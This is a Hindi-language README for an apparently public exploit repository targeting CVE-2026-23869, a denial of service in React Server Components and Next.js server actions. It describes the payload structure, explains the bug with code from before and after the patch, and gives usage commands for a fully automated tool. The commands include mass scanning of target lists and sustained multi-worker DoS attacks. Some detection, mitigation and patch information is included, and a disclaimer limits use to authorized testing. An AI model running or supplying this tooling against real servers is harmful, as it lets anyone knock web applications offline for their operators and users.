
CVE-2026-23869 के लिए स्वचालित शोषण उपकरण, जो React Server Components में एक रिमोट DoS है। इसमें PoC, Nuclei टेम्पलेट, और पहचान तथा शोषण के लिए स्कैनिंग स्क्रिप्ट शामिल हैं।
React Flight प्रोटोकॉल के माध्यम से बिना प्रमाणीकरण के रिमोट डिनायल-ऑफ-सर्विस
सर्वर कंपोनेंट्स Map डिसीरियलाइज़ेशन में क्वाड्रेटिक CPU थकावट
अवलोकन • यह कैसे काम करता है • उपकरण • स्थापना • उपयोग • Nuclei • समाधान • अस्वीकरण
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-23869 |
| उपनाम | React2DoS |
| CVSS स्कोर | 7.5 (उच्च) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (अनियंत्रित संसाधन खपत) |
| प्रकार | बिना प्रमाणीकरण के रिमोट डिनायल ऑफ सर्विस |
| खोजकर्ता | Yohann Sillam (Imperva थ्रेट रिसर्च) |
| प्रभावित | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| पैच किया गया | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
React सर्वर कंपोनेंट्स के Flight प्रोटोकॉल डी-सीरियलाइज़ेशन में एक गंभीर डिनायल-ऑफ-सर्विस भेद्यता मौजूद है। एक बिना प्रमाणीकृत हमलावर किसी भी Next.js App Router सर्वर एक्शन एंडपॉइंट पर एक एकल क्राफ्टेड HTTP अनुरोध भेज सकता है, जिससे क्वाड्रेटिक O(n²) CPU थकावट होती है जो सर्वर को मिनटों के लिए लॉक कर देती है।
consumed फ़्लैगReact Flight प्रोटोकॉल डेटा प्रकारों को सीरियलाइज़ करने के लिए विशेष मार्करों का उपयोग करता है। $Q एक Map ऑब्जेक्ट का प्रतिनिधित्व करता है। जब सर्वर को स्व-संदर्भित $Q0 मार्करों वाला पेलोड प्राप्त होता है:
Payload: [ [1,1], [1,1], ...(n वैध प्रविष्टियाँ)..., "$Q0", "$Q0", ...(n संदर्भ)... ]
प्रत्येक $Q0 एक new Map() कंस्ट्रक्टर को ट्रिगर करता है जो सभी n वैध प्रविष्टियों पर पुनरावृत्ति करता है। Map कंस्ट्रक्टर एक त्रुटि फेंकता है (क्योंकि प्रविष्टियाँ दोषपूर्ण हैं), लेकिन महत्वपूर्ण बग यह है: विफलता पर consumed फ़्लैग कभी सेट नहीं होता।
इसका मतलब है कि अगला $Q0 उसी Map को शुरू से पुनः गणना करता है → O(n²) जटिलता पैदा करता है:
n वैध प्रविष्टियाँ × n $Q0 संदर्भ = n² Map कंस्ट्रक्टर कॉल
उदाहरण: 65,000 × 65,000 = 4,225,000,000 ऑपरेशन
परिणाम: एकल अनुरोध CPU को 5-10+ मिनट के लिए लॉक करता है
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ हमलावर │ ──────────────────────────────────────▶ │ Next.js सर्वर │
│ │ हेडर: Next-Action: <action_id> │ │
│ │ बॉडी: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% लॉक │
└──────────┘ │ ~5-10 मिनट │
└──────────────────┘
// ReactFlightReplyServer.js — पैच से पहले
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← विफल होता है लेकिन consumed = true सेट नहीं करता
// अगला $Q0 शुरू से पुनः गणना करता है
}
// ReactFlightReplyServer.js — पैच के बाद (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← फिक्स: कंस्ट्रक्शन से पहले फ़्लैग सेट करें
return new Map(data); // बार-बार पुनः गणना को रोकता है
}
| फ़ाइल | विवरण |
|---|---|
poc.py | 4-चरणीय पाइपलाइन (रिकॉन → एक्सट्रैक्ट → डिटेक्ट → एक्सप्लॉइट) के साथ पूर्ण-स्वचालित एक्सप्लॉइट टूल |
# रिपॉजिटरी क्लोन करें
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Python निर्भरता स्थापित करें
pip install requests
# स्क्रिप्ट्स को निष्पादन योग्य बनाएं
chmod +x poc.py scan.sh extract-action-ids.sh
# Nuclei टेम्पलेट स्कैनिंग के लिए
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# लाइव टारगेट फ़िल्टरिंग के लिए
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
बस URL दें — टूल सब कुछ स्वचालित रूप से करता है:
python3 poc.py -u https://target.com
क्या होता है:
# डोमेन/IP की सूची स्कैन करें
python3 poc.py -L targets.txt
# JSON रिपोर्ट आउटपुट के साथ
python3 poc.py -L targets.txt -o results.json
# केवल सुरक्षित डिटेक्शन
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# सिंगल-शॉट एक्सप्लॉइट
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# निरंतर DoS (10 वर्कर)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL टारगेट URL (एकल टारगेट)
-L, --list FILE टारगेट URL/IP वाली फ़ाइल (प्रति पंक्ति एक)
-a, --action-id ID सर्वर एक्शन ID (स्वचालित निष्कर्षण छोड़ें)
--detect केवल डिटेक्शन — सुरक्षित, गैर-विनाशकारी (डिफ़ॉल्ट)
--single डिटेक्शन के बाद सिंगल-शॉट एक्सप्लॉइट
--exploit डिटेक्शन के बाद निरंतर DoS
--extract केवल एक्शन ID निकालें
-l, --length N पेलोड प्रविष्टियाँ (डिफ़ॉल्ट: 130000)
-w, --workers N समवर्ती वर्कर (डिफ़ॉल्ट: 5)
-d, --delay SEC अनुरोधों के बीच देरी (डिफ़ॉल्ट: 1.0)
-o, --output FILE JSON रिपोर्ट सहेजें
-t, --threads N सूची स्कैन के लिए समवर्ती टारगेट (डिफ़ॉल्ट: 3)
मूल PoC सिंटैक्स अभी भी काम करता है:
python3 poc.py <ACTION_ID> <URL>
# एकल टारगेट
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# एकाधिक टारगेट
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# स्वच्छ आउटपुट (केवल भेद्य परिणाम)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
नोट:
-itags dosफ़्लैग आवश्यक है क्योंकि Nuclei सुरक्षा के लिए डिफ़ॉल्ट रूप से DoS टेम्पलेट्स को बाहर करता है।
अनुरोध 1 (GET /) → Next.js फ़िंगरप्रिंट करें (हेडर + HTML मार्कर)
अनुरोध 2 (GET /) → createServerReference() से सर्वर एक्शन ID निकालें
अनुरोध 3 (POST /) → बेसलाइन समय अनुरोध (हानिरहित पेलोड)
अनुरोध 4 (POST /) → एक्सप्लॉइट प्रोब (250 वैध + 250 $Q0 प्रविष्टियाँ)
└─ यदि प्रतिक्रिया समय ≥ 3s → भेद्य
# httpx → लाइव टारगेट फ़िल्टर → nuclei स्कैन → परिणाम चलाता है
./scan.sh
# या कस्टम फ़ाइलें निर्दिष्ट करें
./scan.sh targets1.txt targets2.txt
टूल भेद्य सर्वरों की सुरक्षित पहचान के लिए समय-आधारित डिटेक्शन का उपयोग करता है:
डिटेक्शन की पुष्टि तब होती है जब:
$Q मार्करों वाले असामान्य रूप से बड़े multipart/form-data बॉडी वाले अनुरोधों को ब्लॉक करें/ पर POST अनुरोधों से संबंधित उच्च CPU उपयोग पर अलर्ट करेंCVE-2026-23869-Exploit/
├── README.md # यह फ़ाइल
├── poc.py # पूर्ण-स्वचालित PoC एक्सप्लॉइट टूल
├── CVE-2026-23869.yaml # Nuclei डिटेक्शन टेम्पलेट
├── scan.sh # httpx + nuclei ऑटो-स्कैनर
└── extract-action-ids.sh # स्टैंडअलोन एक्शन ID एक्सट्रैक्टर
╔══════════════════════════════════════════════════╗
║ चरण 1 ▸ टोही (RECONNAISSANCE) ║
╚══════════════════════════════════════════════════╝
✓ Next.js पाया गया (Next.js)
✓ बिल्ड ID: abc123def456
✓ App Router: सर्वर एक्शन पाए गए
╔══════════════════════════════════════════════════╗
║ चरण 2 ▸ एक्शन ID निष्कर्षण ║
╚══════════════════════════════════════════════════╝
✓ 3 एक्शन ID मिले:
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ चरण 3 ▸ भेद्यता डिटेक्शन ║
╚══════════════════════════════════════════════════╝
[1/2] बेसलाइन: 0.142s
[2/2] प्रोब: 7.891s (55.6x बेसलाइन)
██ भेद्य — CVE-2026-23869 की पुष्टि हुई ██
╔══════════════════════════════════════════════════════════════╗
║ बैच स्कैन परिणाम ║
╚══════════════════════════════════════════════════════════════╝
स्कैन किए गए : 45.2s में 150 टारगेट
भेद्य : 3
पैच किए गए : 12
छोड़े गए : 135
🔴 भेद्य टारगेट
─────────────────────────────────────────────────
# टारगेट प्रोब अनुपात
1 vulnerable-app.com 7.89s 55.6x
2 staging.example.com 4.21s 28.1x
3 dev.testsite.org 12.33s 82.2x
⚠️ केवल अधिकृत सुरक्षा परीक्षण के लिए
यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत पेनेट्रेशन परीक्षण के लिए प्रदान किया गया है। उन टारगेट्स के खिलाफ इस टूल का अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है, अवैध है और कंप्यूटर धोखाधड़ी कानूनों (CFAA, CMA, आदि) का उल्लंघन कर सकता है।
लेखक इस टूल से होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा उचित लिखित प्राधिकरण प्राप्त करें।
यदि आपको यह उपयोगी लगे, तो इसे एक ⭐ देने पर विचार करें
CVE-2026-23869.yaml | फ्लो-आधारित ऑर्केस्ट्रेशन के साथ Nuclei डिटेक्शन टेम्पलेट |
scan.sh | रैपर स्क्रिप्ट: httpx लाइव फ़िल्टरिंग + nuclei स्कैनिंग |
extract-action-ids.sh | स्टैंडअलोन सर्वर एक्शन ID एक्सट्रैक्टर |
| मीट्रिक | भेद्य | पैच किया गया |
|---|
| बेसलाइन (हानिरहित अनुरोध) | ~0.1-0.5s | ~0.1-0.5s |
| प्रोब (500 प्रविष्टियाँ) | 3-10+ सेकंड | ~0.1-0.5s |
| अनुपात (प्रोब/बेसलाइन) | >5x | ~1x |
| पूर्ण पेलोड (130K प्रविष्टियाँ) | 5-10+ मिनट | ~0.1-0.5s |
| पैकेज | भेद्य | फिक्स किया गया |
|---|
react-server-dom-webpack | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-parcel | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-turbopack | ≤ 19.2.4 | 19.2.5+ |
| Next.js | < 15.5.15 | 15.5.15+ |
| Next.js 16.x | < 16.2.3 | 16.2.3+ |